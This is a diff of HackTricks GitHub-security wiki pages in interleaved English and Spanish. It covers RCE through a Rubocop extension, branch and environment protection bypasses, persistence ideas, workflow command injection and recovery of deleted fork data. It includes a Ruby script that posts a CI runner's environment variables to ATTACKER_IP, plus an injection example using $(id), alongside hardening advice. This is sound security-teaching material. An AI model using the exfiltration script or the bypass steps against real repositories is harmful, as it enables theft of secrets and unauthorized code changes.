- You can also enumerate installations via the REST API (GET /app/installations) using the JWT
## Compromiso y abuso de Github Action
## Compromise & Abuse Github Action
There are several techniques to compromise and abuse a Github Action, check them here:
Hay varias técnicas para comprometer y abusar de una Github Action, consúltalas aquí:
{{#ref}}
abusing-github-actions/
{{#endref}}
## Abusing thirdparty GitHub Apps running external tools (Rubocop extension RCE)
## Abusando de aplicaciones de GitHub de terceros que ejecutan herramientas externas (RCE de la extensión Rubocop)
Some GitHub Apps and PR review services execute external linters/SAST against pull requests using repositorycontrolled configuration files. If a supported tool allows dynamic code loading, a PR can achieve RCE on the services runner.
Algunas aplicaciones de GitHub y servicios de revisión de PR ejecutan linters/SAST externos contra solicitudes de extracción utilizando archivos de configuración controlados por el repositorio. Si una herramienta compatible permite la carga dinámica de código, un PR puede lograr RCE en el runner del servicio.
Example: Rubocop supports loading extensions from its YAML config. If the service passes through a repoprovided .rubocop.yml, you can execute arbitrary Ruby by requiring a local file.
Ejemplo: Rubocop admite la carga de extensiones desde su configuración YAML. Si el servicio pasa un .rubocop.yml proporcionado por el repositorio, puedes ejecutar Ruby arbitrario requiriendo un archivo local.
- Trigger conditions usually include:
- The tool is enabled in the service
- The PR contains files the tool recognizes (for Rubocop: .rb)
- The repo contains the tools config file (Rubocop searches for .rubocop.yml anywhere)
- Las condiciones de activación suelen incluir:
- La herramienta está habilitada en el servicio
- El PR contiene archivos que la herramienta reconoce (para Rubocop: .rb)
- El repositorio contiene el archivo de configuración de la herramienta (Rubocop busca .rubocop.yml en cualquier lugar)
Exploit files in the PR:
Archivos de explotación en el PR:
.rubocop.yml
```yaml
require:
- ./ext.rb
- ./ext.rb
```
ext.rb (exfiltrate runner env vars):
ext.rb (exfiltrar variables de entorno del runner):
```ruby
require 'net/http'
require 'uri'
@@ -314,99 +297,92 @@ json_data = env_vars.to_json
url = URI.parse('http://ATTACKER_IP/')
begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
warn e.message
end
```
También incluye un archivo Ruby ficticio lo suficientemente grande (por ejemplo, main.rb) para que el linter se ejecute realmente.
Also include a sufficiently large dummy Ruby file (e.g., main.rb) so the linter actually runs.
Impacto observado en el mundo real:
- Ejecución completa de código en el runner de producción que ejecutó el linter
- Exfiltración de variables de entorno sensibles, incluyendo la clave privada de la aplicación de GitHub utilizada por el servicio, claves API, credenciales de base de datos, etc.
- Con una clave privada de la aplicación de GitHub filtrada, puedes generar tokens de instalación y obtener acceso de lectura/escritura a todos los repositorios otorgados a esa aplicación (ver la sección anterior sobre la suplantación de la aplicación de GitHub)
Impact observed in the wild:
- Full code execution on the production runner that executed the linter
- Exfiltration of sensitive environment variables, including the GitHub App private key used by the service, API keys, DB credentials, etc.
- With a leaked GitHub App private key you can mint installation tokens and get read/write access to all repositories granted to that app (see the section above on GitHub App impersonation)
Directrices de endurecimiento para servicios que ejecutan herramientas externas:
- Trata las configuraciones de herramientas proporcionadas por el repositorio como código no confiable
- Ejecuta herramientas en sandboxes aislados estrictamente sin variables de entorno sensibles montadas
- Aplica credenciales de menor privilegio y aislamiento del sistema de archivos, y restringe/niega el egreso de red saliente para herramientas que no requieren acceso a internet
Hardening guidelines for services running external tools:
- Treat repositoryprovided tool configs as untrusted code
- Execute tools in tightly isolated sandboxes with no sensitive environment variables mounted
- Apply leastprivilege credentials and filesystem isolation, and restrict/deny outbound network egress for tools that dont require internet access
## Bypass de Protección de Ramas
## Branch Protection Bypass
- **Requerir un número de aprobaciones**: Si has comprometido varias cuentas, podrías simplemente aceptar tus PR desde otras cuentas. Si solo tienes la cuenta desde donde creaste el PR, no puedes aceptar tu propio PR. Sin embargo, si tienes acceso a un **entorno de Github Action** dentro del repositorio, usando el **GITHUB_TOKEN** podrías **aprobar tu PR** y obtener 1 aprobación de esta manera.
- _Nota para esto y para la restricción de Propietarios de Código que generalmente un usuario no podrá aprobar sus propios PR, pero si puedes, puedes abusar de ello para aceptar tus PR._
- **Desestimar aprobaciones cuando se envían nuevos commits**: Si esto no está configurado, puedes enviar código legítimo, esperar a que alguien lo apruebe, y luego poner código malicioso y fusionarlo en la rama protegida.
- **Requerir revisiones de Propietarios de Código**: Si esto está activado y eres un Propietario de Código, podrías hacer que una **Github Action cree tu PR y luego lo apruebes tú mismo**.
- Cuando un **archivo CODEOWNER está mal configurado**, GitHub no se queja pero no lo utiliza. Por lo tanto, si está mal configurado, **la protección de Propietarios de Código no se aplica.**
- **Permitir que actores especificados eludan los requisitos de solicitud de extracción**: Si eres uno de estos actores, puedes eludir las protecciones de solicitud de extracción.
- **Incluir administradores**: Si esto no está configurado y eres administrador del repositorio, puedes eludir estas protecciones de rama.
- **Secuestro de PR**: Podrías ser capaz de **modificar el PR de otra persona** añadiendo código malicioso, aprobando el PR resultante tú mismo y fusionando todo.
- **Eliminar Protecciones de Ramas**: Si eres un **administrador del repositorio, puedes desactivar las protecciones**, fusionar tu PR y volver a establecer las protecciones.
- **Eludir protecciones de push**: Si un repositorio **solo permite ciertos usuarios** enviar push (fusionar código) en ramas (la protección de rama podría estar protegiendo todas las ramas especificando el comodín `*`).
- Si tienes **acceso de escritura sobre el repositorio pero no se te permite enviar código** debido a la protección de rama, aún puedes **crear una nueva rama** y dentro de ella crear una **acción de GitHub que se active cuando se envíe código**. Como la **protección de rama no protegerá la rama hasta que se cree**, este primer envío de código a la rama **ejecutará la acción de GitHub**.
- **Require a number of approvals**: If you compromised several accounts you might just accept your PRs from other accounts. If you just have the account from where you created the PR you cannot accept your own PR. However, if you have access to a **Github Action** environment inside the repo, using the **GITHUB_TOKEN** you might be able to **approve your PR** and get 1 approval this way.
- _Note for this and for the Code Owners restriction that usually a user won't be able to approve his own PRs, but if you are, you can abuse it to accept your PRs._
- **Dismiss approvals when new commits are pushed**: If this isnt set, you can submit legit code, wait till someone approves it, and put malicious code and merge it into the protected branch.
- **Require reviews from Code Owners**: If this is activated and you are a Code Owner, you could make a **Github Action create your PR and then approve it yourself**.
- When a **CODEOWNER file is missconfigured** Github doesn't complain but it does't use it. Therefore, if it's missconfigured it's **Code Owners protection isn't applied.**
- **Allow specified actors to bypass pull request requirements**: If you are one of these actors you can bypass pull request protections.
- **Include administrators**: If this isnt set and you are admin of the repo, you can bypass this branch protections.
- **PR Hijacking**: You could be able to **modify the PR of someone else** adding malicious code, approving the resulting PR yourself and merging everything.
- **Removing Branch Protections**: If you are an **admin of the repo you can disable the protections**, merge your PR and set the protections back.
- **Bypassing push protections**: If a repo **only allows certain users** to send push (merge code) in branches (the branch protection might be protecting all the branches specifying the wildcard `*`).
- If you have **write access over the repo but you are not allowed to push code** because of the branch protection, you can still **create a new branch** and within it create a **github action that is triggered when code is pushed**. As the **branch protection won't protect the branch until it's created**, this first code push to the branch will **execute the github action**.
## Eludir las Protecciones de Entornos
## Bypass Environments Protections
Para una introducción sobre [**Github Environment consulta la información básica**](basic-github-information.md#git-environments).
For an introduction about [**Github Environment check the basic information**](basic-github-information.md#git-environments).
In case an environment can be **accessed from all the branches**, it's **isn't protected** and you can easily access the secrets inside the environment. Note that you might find repos where **all the branches are protected** (by specifying its names or by using `*`) in that scenario, **find a branch were you can push code** and you can **exfiltrate** the secrets creating a new github action (or modifying one).
Note, that you might find the edge case where **all the branches are protected** (via wildcard `*`) it's specified **who can push code to the branches** (_you can specify that in the branch protection_) and **your user isn't allowed**. You can still run a custom github action because you can create a branch and use the push trigger over itself. The **branch protection allows the push to a new branch so the github action will be triggered**.
En caso de que un entorno pueda ser **accedido desde todas las ramas**, **no está protegido** y puedes acceder fácilmente a los secretos dentro del entorno. Ten en cuenta que podrías encontrar repos donde **todas las ramas están protegidas** (especificando sus nombres o usando `*`), en ese escenario, **encuentra una rama donde puedas enviar código** y puedes **exfiltrar** los secretos creando una nueva acción de GitHub (o modificando una).
Ten en cuenta que podrías encontrar el caso extremo donde **todas las ramas están protegidas** (a través del comodín `*`) se especifica **quién puede enviar código a las ramas** (_puedes especificar eso en la protección de rama_) y **tu usuario no está permitido**. Aún puedes ejecutar una acción de GitHub personalizada porque puedes crear una rama y usar el disparador de push sobre sí misma. La **protección de rama permite el push a una nueva rama, por lo que la acción de GitHub se activará**.
```yaml
push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch
```
Tenga en cuenta que **después de la creación** de la rama, la **protección de la rama se aplicará a la nueva rama** y no podrá modificarla, pero para ese momento ya habrá extraído los secretos.
Note that **after the creation** of the branch the **branch protection will apply to the new branch** and you won't be able to modify it, but for that time you will have already dumped the secrets.
## Persistencia
## Persistence
- Generar **token de usuario**
- Robar **tokens de github** de **secretos**
- **Eliminación** de **resultados** y **ramas** de flujo de trabajo
- Dar **más permisos a toda la organización**
- Crear **webhooks** para exfiltrar información
- Invitar a **colaboradores externos**
- **Eliminar** **webhooks** utilizados por el **SIEM**
- Crear/modificar **Github Action** con una **puerta trasera**
- Encontrar **Github Action vulnerable a inyección de comandos** a través de la modificación del valor de **secreto**
- Generate **user token**
- Steal **github tokens** from **secrets**
- **Deletion** of workflow **results** and **branches**
- Give **more permissions to all the org**
- Create **webhooks** to exfiltrate information
- Invite **outside collaborators**
- **Remove** **webhooks** used by the **SIEM**
- Create/modify **Github Action** with a **backdoor**
- Find **vulnerable Github Action to command injection** via **secret** value modification
### Commits de impostor - Puerta trasera a través de commits de repositorio
### Imposter Commits - Backdoor via repo commits
In Github it's possible to **create a PR to a repo from a fork**. Even if the PR is **not accepted**, a **commit** id inside the orginal repo is going to be created for the fork version of the code. Therefore, an attacker **could pin to use an specific commit from an apparently ligit repo that wasn't created by the owner of the repo**.
Like [**this**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
En Github es posible **crear un PR a un repositorio desde un fork**. Incluso si el PR **no es aceptado**, se va a crear un id de **commit** dentro del repositorio original para la versión fork del código. Por lo tanto, un atacante **podría fijar el uso de un commit específico de un repositorio aparentemente legítimo que no fue creado por el propietario del repositorio**.
Como [**este**](https://github.com/actions/checkout/commit/c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e):
```yaml
name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'
```
Para más información, consulta [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
For more info check [https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd](https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd)
## Referencias
## References
- [How we exploited CodeRabbit: from a simple PR to RCE and write access on 1M repositories](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Rubocop extensions (require)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Authenticating with a GitHub App (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [List installations for the authenticated app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Create an installation access token for an app](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
- [Cómo explotamos CodeRabbit: de un PR simple a RCE y acceso de escritura en 1M de repositorios](https://research.kudelskisecurity.com/2025/08/19/how-we-exploited-coderabbit-from-a-simple-pr-to-rce-and-write-access-on-1m-repositories/)
- [Extensiones de Rubocop (requerir)](https://docs.rubocop.org/rubocop/latest/extensions.html)
- [Autenticación con una aplicación de GitHub (JWT)](https://docs.github.com/en/apps/creating-github-apps/authenticating-with-a-github-app)
- [Listar instalaciones para la aplicación autenticada](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#list-installations-for-the-authenticated-app)
- [Crear un token de acceso de instalación para una aplicación](https://docs.github.com/en/rest/apps/apps?apiVersion=2022-11-28#create-an-installation-access-token-for-an-app)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# Gh Actions - Artifact Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,5 +1,3 @@
# GH Actions - Cache Poisoning
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,103 +2,95 @@
{{#include ../../../banners/hacktricks-training.md}}
## Understanding the risk
## Entendiendo el riesgo
GitHub Actions renders expressions ${{ ... }} before the step executes. The rendered value is pasted into the steps program (for run steps, a shell script). If you interpolate untrusted input directly inside run:, the attacker controls part of the shell program and can execute arbitrary commands.
GitHub Actions renders expressions ${{ ... }} before the step executes. El valor renderizado se pega en el programa del step (para run steps, un shell script). Si interpolas input no confiable directamente dentro de run:, el atacante controla parte del programa del shell y puede ejecutar comandos arbitrarios.
Docs: https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions and contexts/functions: https://docs.github.com/en/actions/learn-github-actions/contexts
Key points:
- Rendering happens before execution. The run script is generated with all expressions resolved, then executed by the shell.
- Many contexts contain user-controlled fields depending on the triggering event (issues, PRs, comments, discussions, forks, stars, etc.). See the untrusted input reference: https://securitylab.github.com/resources/github-actions-untrusted-input/
- Shell quoting inside run: is not a reliable defense, because the injection occurs at the template rendering stage. Attackers can break out of quotes or inject operators via crafted input.
Puntos clave:
- El renderizado ocurre antes de la ejecución. El script de run se genera con todas las expresiones resueltas y luego es ejecutado por el shell.
- Muchos contextos contienen campos controlados por el usuario dependiendo del evento que lo desencadena (issues, PRs, comments, discussions, forks, stars, etc.). Consulta la referencia de untrusted input: https://securitylab.github.com/resources/github-actions-untrusted-input/
- El quoting del shell dentro de run: no es una defensa fiable, porque la inyección ocurre en la etapa de renderizado de la plantilla. Los atacantes pueden romper las comillas o inyectar operadores mediante input especialmente creado.
## Vulnerable pattern → RCE on runner
Vulnerable workflow (triggered when someone opens a new issue):
## Patrón vulnerable → RCE en el runner
Vulnerable workflow (se activa cuando alguien abre un nuevo issue):
```yaml
name: New Issue Created
on:
issues:
types: [opened]
issues:
types: [opened]
jobs:
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
deploy:
runs-on: ubuntu-latest
permissions:
issues: write
steps:
- name: New issue
run: |
echo "New issue ${{ github.event.issue.title }} created"
- name: Add "new" label to issue
uses: actions-ecosystem/action-add-labels@v1
with:
github_token: ${{ secrets.GITHUB_TOKEN }}
labels: new
```
If an attacker opens an issue titled $(id), the rendered step becomes:
Si un atacante abre un issue titulado $(id), el paso renderizado se convierte en:
```sh
echo "New issue $(id) created"
```
The command substitution runs id on the runner. Example output:
La sustitución de comandos ejecuta id en el runner. Salida de ejemplo:
```
New issue uid=1001(runner) gid=118(docker) groups=118(docker),4(adm),100(users),999(systemd-journal) created
```
Por qué las comillas no te salvan:
- Las expresiones se renderizan primero, luego se ejecuta el script resultante. Si el valor no confiable contiene $(...), `;`, `"`/`'`, o saltos de línea, puede alterar la estructura del programa a pesar de tus comillas.
Why quoting doesnt save you:
- Expressions are rendered first, then the resulting script runs. If the untrusted value contains $(...), `;`, `"`/`'`, or newlines, it can alter the program structure despite your quoting.
## Safe pattern (shell variables via env)
Correct mitigation: copy untrusted input into an environment variable, then use native shell expansion ($VAR) in the run script. Do not re-embed with ${{ ... }} inside the command.
## Patrón seguro (shell variables via env)
Mitigación correcta: copia la entrada no confiable en una variable de entorno, luego usa la expansión nativa del shell ($VAR) en el script de ejecución. No vuelvas a insertar con ${{ ... }} dentro del comando.
```yaml
# safe
jobs:
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
deploy:
runs-on: ubuntu-latest
steps:
- name: New issue
env:
TITLE: ${{ github.event.issue.title }}
run: |
echo "New issue $TITLE created"
```
Notas:
- Evita usar ${{ env.TITLE }} dentro de run:. Eso reintroduce el renderizado de templates en el comando y supone el mismo riesgo de inyección.
- Prefiere pasar entradas no confiables vía env: mapping y referenciarlas con $VAR en run:.
Notes:
- Avoid using ${{ env.TITLE }} inside run:. That reintroduces template rendering back into the command and brings the same injection risk.
- Prefer passing untrusted inputs via env: mapping and reference them with $VAR in run:.
## Superficies activables por el lector (trátalas como no confiables)
## Reader-triggerable surfaces (treat as untrusted)
Accounts with only read permission on public repositories can still trigger many events. Any field in contexts derived from these events must be considered attacker-controlled unless proven otherwise. Examples:
Las cuentas con solo permiso de lectura en repositorios públicos aún pueden desencadenar muchos eventos. Cualquier campo en los contextos derivados de estos eventos debe considerarse controlado por un atacante a menos que se demuestre lo contrario. Ejemplos:
- issues, issue_comment
- discussion, discussion_comment (orgs can restrict discussions)
- discussion, discussion_comment (las orgs pueden restringir las discusiones)
- pull_request, pull_request_review, pull_request_review_comment
- pull_request_target (dangerous if misused, runs in base repo context)
- fork (anyone can fork public repos)
- watch (starring a repo)
- Indirectly via workflow_run/workflow_call chains
- pull_request_target (peligroso si se usa incorrectamente, se ejecuta en el contexto del repo base)
- fork (cualquiera puede forkear repos públicos)
- watch (marcar un repo con star)
- Indirectamente vía cadenas workflow_run/workflow_call
Which specific fields are attacker-controlled is event-specific. Consult GitHub Security Labs untrusted input guide: https://securitylab.github.com/resources/github-actions-untrusted-input/
Qué campos específicos están controlados por un atacante depende del evento. Consulta la guía de inputs no confiables de GitHub Security Lab: https://securitylab.github.com/resources/github-actions-untrusted-input/
## Practical tips
## Consejos prácticos
- Minimize use of expressions inside run:. Prefer env: mapping + $VAR.
- If you must transform input, do it in the shell using safe tools (printf %q, jq -r, etc.), still starting from a shell variable.
- Be extra careful when interpolating branch names, PR titles, usernames, labels, discussion titles, and PR head refs into scripts, command-line flags, or file paths.
- For reusable workflows and composite actions, apply the same pattern: map to env then reference $VAR.
- Minimiza el uso de expressions dentro de run:. Prefiere env: mapping + $VAR.
- Si debes transformar la entrada, hazlo en el shell usando herramientas seguras (printf %q, jq -r, etc.), empezando siempre desde una variable de shell.
- Ten especial cuidado al interpolar nombres de branch, títulos de PR, nombres de usuario, labels, títulos de discusión y PR head refs en scripts, flags de línea de comandos o rutas de archivos.
- Para reusable workflows y composite actions, aplica el mismo patrón: mapear a env y luego referenciar $VAR.
## References
## Referencias
- [GitHub Actions: A Cloudy Day for Security - Part 1](https://binarysecurity.no/posts/2025/08/securing-gh-actions-part1)
- [GitHub workflow syntax](https://docs.github.com/en/actions/writing-workflows/workflow-syntax-for-github-actions)
- [Contexts and expression syntax](https://docs.github.com/en/actions/learn-github-actions/contexts)
- [Untrusted input reference for GitHub Actions](https://securitylab.github.com/resources/github-actions-untrusted-input/)
{{#include ../../../banners/hacktricks-training.md}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,58 +1,56 @@
# Accessible Deleted Data in Github
# Datos Eliminados Accesibles en Github
{{#include ../../banners/hacktricks-training.md}}
This ways to access data from Github that was supposedly deleted was [**reported in this blog post**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
Esta forma de acceder a datos de Github que supuestamente fueron eliminados fue [**reportada en esta publicación de blog**](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github).
## Accessing Deleted Fork Data
## Accediendo a Datos de Forks Eliminados
1. You fork a public repository
2. You commit code to your fork
3. You delete your fork
1. Forkeas un repositorio público.
2. Haces un commit de código en tu fork.
3. Eliminas tu fork.
> [!CAUTION]
> The data commited in the deleted fork is still accessible.
> Los datos comprometidos en el fork eliminado aún son accesibles.
## Accessing Deleted Repo Data
## Accediendo a Datos de Repositorios Eliminados
1. You have a public repo on GitHub.
2. A user forks your repo.
3. You commit data after they fork it (and they never sync their fork with your updates).
4. You delete the entire repo.
1. Tienes un repositorio público en GitHub.
2. Un usuario forkear tu repositorio.
3. Haces un commit de datos después de que ellos lo forkearon (y nunca sincronizan su fork con tus actualizaciones).
4. Eliminas todo el repositorio.
> [!CAUTION]
> Even if you deleted your repo, all the changes made to it are still accessible through the forks.
> Incluso si eliminaste tu repositorio, todos los cambios realizados en él aún son accesibles a través de los forks.
## Accessing Private Repo Data
## Accediendo a Datos de Repositorios Privados
1. You create a private repo that will eventually be made public.
2. You create a private, internal version of that repo (via forking) and commit additional code for features that youre not going to make public.
3. You make your “upstream” repository public and keep your fork private.
1. Creas un repositorio privado que eventualmente será público.
2. Creas una versión privada e interna de ese repositorio (a través de forking) y haces commits de código adicional para características que no vas a hacer públicas.
3. Haces tu repositorio "upstream" público y mantienes tu fork privado.
> [!CAUTION]
> It's possible to access al the data pushed to the internal fork in the time between the internal fork was created and the public version was made public.
> Es posible acceder a todos los datos enviados al fork interno en el tiempo entre la creación del fork interno y la publicación de la versión blica.
## How to discover commits from deleted/hidden forks
## Cómo descubrir commits de forks eliminados/ocultos
The same blog post propose 2 options:
La misma publicación de blog propone 2 opciones:
### Directly accessing the commit
### Accediendo directamente al commit
If the commit ID (sha-1) value is known it's possible to access it in `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
Si se conoce el valor del ID del commit (sha-1), es posible acceder a él en `https://github.com/<user/org>/<repo>/commit/<commit_hash>`
### Brute-forcing short SHA-1 values
### Fuerza bruta de valores SHA-1 cortos
It's the same to access both of these:
Es lo mismo acceder a ambos:
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14](https://github.com/HackTricks-wiki/hacktricks/commit/8cf94635c266ca5618a9f4da65ea92c04bee9a14)
- [https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463](https://github.com/HackTricks-wiki/hacktricks/commit/8cf9463)
And the latest one use a short sha-1 that is bruteforceable.
Y el último utiliza un sha-1 corto que es susceptible a fuerza bruta.
## References
## Referencias
- [https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github](https://trufflesecurity.com/blog/anyone-can-access-deleted-and-private-repo-data-github)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,263 +1,257 @@
# Basic Github Information
# Información básica de Github
{{#include ../../banners/hacktricks-training.md}}
## Basic Structure
## Estructura básica
The basic github environment structure of a big **company** is to own an **enterprise** which owns **several organizations** and each of them may contain **several repositories** and **several teams.**. Smaller companies may just **own one organization and no enterprises**.
La estructura básica del entorno de github de una gran **company** es poseer una **enterprise** que a su vez posee **varias organizations** y cada una de ellas puede contener **varios repositories** y **varios teams.**. Las empresas más pequeñas pueden simplemente **poseer una organization y no enterprises**.
From a user point of view a **user** can be a **member** of **different enterprises and organizations**. Within them the user may have **different enterprise, organization and repository roles**.
Desde el punto de vista de un usuario, un **user** puede ser **member** de **diferentes enterprises y organizations**. Dentro de ellas el usuario puede tener **diferentes enterprise, organization y repository roles**.
Moreover, a user may be **part of different teams** with different enterprise, organization or repository roles.
Además, un usuario puede ser **parte de diferentes teams** con distintos enterprise, organization o repository roles.
And finally **repositories may have special protection mechanisms**.
Y finalmente **los repositories pueden tener mecanismos especiales de protección**.
## Privileges
## Privilegios
### Enterprise Roles
- **Enterprise owner**: People with this role can **manage administrators, manage organizations within the enterprise, manage enterprise settings, enforce policy across organizations**. However, they **cannot access organization settings or content** unless they are made an organization owner or given direct access to an organization-owned repository
- **Enterprise members**: Members of organizations owned by your enterprise are also **automatically members of the enterprise**.
- **Enterprise owner**: Las personas con este rol pueden **gestionar administradores, gestionar organizations dentro de la enterprise, gestionar la configuración de la enterprise y aplicar políticas a través de las organizations**. Sin embargo, **no pueden acceder a la configuración o al contenido de una organization** a menos que se les haga organization owner o se les otorgue acceso directo a un repository propiedad de la organization.
- **Enterprise members**: Los miembros de las organizations que pertenecen a tu enterprise también son **automáticamente members de la enterprise**.
### Organization Roles
In an organisation users can have different roles:
En una organization los usuarios pueden tener diferentes roles:
- **Organization owners**: Organization owners have **complete administrative access to your organization**. This role should be limited, but to no less than two people, in your organization.
- **Organization members**: The **default**, non-administrative role for **people in an organization** is the organization member. By default, organization members **have a number of permissions**.
- **Billing managers**: Billing managers are users who can **manage the billing settings for your organization**, such as payment information.
- **Security Managers**: It's a role that organization owners can assign to any team in an organization. When applied, it gives every member of the team permissions to **manage security alerts and settings across your organization, as well as read permissions for all repositories** in the organization.
- If your organization has a security team, you can use the security manager role to give members of the team the least access they need to the organization.
- **Github App managers**: To allow additional users to **manage GitHub Apps owned by an organization**, an owner can grant them GitHub App manager permissions.
- **Outside collaborators**: An outside collaborator is a person who has **access to one or more organization repositories but is not explicitly a member** of the organization.
- **Organization owners**: Los organization owners tienen **acceso administrativo completo a tu organization**. Este rol debe limitarse, pero no a menos de dos personas, en tu organization.
- **Organization members**: El rol **por defecto**, no administrativo para **las personas en una organization** es organization member. Por defecto, los organization members **tienen una serie de permisos**.
- **Billing managers**: Los billing managers son usuarios que pueden **gestionar la configuración de facturación de tu organization**, como la información de pago.
- **Security Managers**: Es un rol que los organization owners pueden asignar a cualquier team en una organization. Cuando se aplica, otorga a cada miembro del team permisos para **gestionar alertas y configuraciones de seguridad en toda tu organization, así como permisos de lectura para todos los repositories** en la organization.
- Si tu organization tiene un security team, puedes usar el rol de security manager para dar a los miembros del team el menor acceso que necesiten a la organization.
- **Github App managers**: Para permitir que usuarios adicionales **gestionen GitHub Apps propiedad de una organization**, un owner puede otorgarles permisos de Github App manager.
- **Outside collaborators**: Un outside collaborator es una persona que tiene **acceso a uno o más repositories de la organization pero que no es explícitamente member de la organization**.
You can **compare the permissions** of these roles in this table: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
Puedes **comparar los permisos** de estos roles en esta tabla: [https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles](https://docs.github.com/en/organizations/managing-peoples-access-to-your-organization-with-roles/roles-in-an-organization#permissions-for-organization-roles)
### Members Privileges
In _https://github.com/organizations/\<org_name>/settings/member_privileges_ you can see the **permissions users will have just for being part of the organisation**.
En _https://github.com/organizations/\<org_name>/settings/member_privileges_ puedes ver los **permisos que los users tendrán solo por ser parte de la organization**.
The settings here configured will indicate the following permissions of members of the organisation:
La configuración aquí definida indicará los siguientes permisos de los members de la organization:
- Be admin, writer, reader or no permission over all the organisation repos.
- If members can create private, internal or public repositories.
- If forking of repositories is possible
- If it's possible to invite outside collaborators
- If public or private sites can be published
- The permissions admins has over the repositories
- If members can create new teams
- Ser admin, writer, reader o no tener permiso sobre todos los repositories de la organization.
- Si los members pueden crear repositories private, internal o public.
- Si es posible forkear repositories.
- Si es posible invitar outside collaborators.
- Si se pueden publicar sitios public o private.
- Los permisos que los admins tienen sobre los repositories.
- Si los members pueden crear nuevos teams.
### Repository Roles
By default repository roles are created:
Por defecto se crean los siguientes repository roles:
- **Read**: Recommended for **non-code contributors** who want to view or discuss your project
- **Triage**: Recommended for **contributors who need to proactively manage issues and pull requests** without write access
- **Write**: Recommended for contributors who **actively push to your project**
- **Maintain**: Recommended for **project managers who need to manage the repository** without access to sensitive or destructive actions
- **Admin**: Recommended for people who need **full access to the project**, including sensitive and destructive actions like managing security or deleting a repository
- **Read**: Recomendado para **colaboradores que no tocan el código** y que solo quieren ver o comentar tu proyecto.
- **Triage**: Recomendado para **colaboradores que necesitan gestionar proactivamente issues y pull requests** sin acceso de escritura.
- **Write**: Recomendado para colaboradores que **realmente hacen push en tu proyecto**.
- **Maintain**: Recomendado para **project managers que necesitan gestionar el repository** sin acceso a acciones sensibles o destructivas.
- **Admin**: Recomendado para personas que necesitan **acceso completo al proyecto**, incluyendo acciones sensibles y destructivas como gestionar seguridad o borrar un repository.
You can **compare the permissions** of each role in this table [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
Puedes **comparar los permisos** de cada rol en esta tabla [https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role](https://docs.github.com/en/organizations/managing-access-to-your-organizations-repositories/repository-roles-for-an-organization#permissions-for-each-role)
You can also **create your own roles** in _https://github.com/organizations/\<org_name>/settings/roles_
También puedes **crear tus propios roles** en _https://github.com/organizations/\<org_name>/settings/roles_
### Teams
You can **list the teams created in an organization** in _https://github.com/orgs/\<org_name>/teams_. Note that to see the teams which are children of other teams you need to access each parent team.
Puedes **listar los teams creados en una organization** en _https://github.com/orgs/\<org_name>/teams_. Ten en cuenta que para ver los teams que son hijos de otros teams necesitas acceder a cada parent team.
### Users
The users of an organization can be **listed** in _https://github.com/orgs/\<org_name>/people._
Los users de una organization pueden ser **listados** en _https://github.com/orgs/\<org_name>/people._
In the information of each user you can see the **teams the user is member of**, and the **repos the user has access to**.
En la información de cada user puedes ver los **teams de los que el user es member**, y los **repos a los que el user tiene acceso**.
## Github Authentication
Github offers different ways to authenticate to your account and perform actions on your behalf.
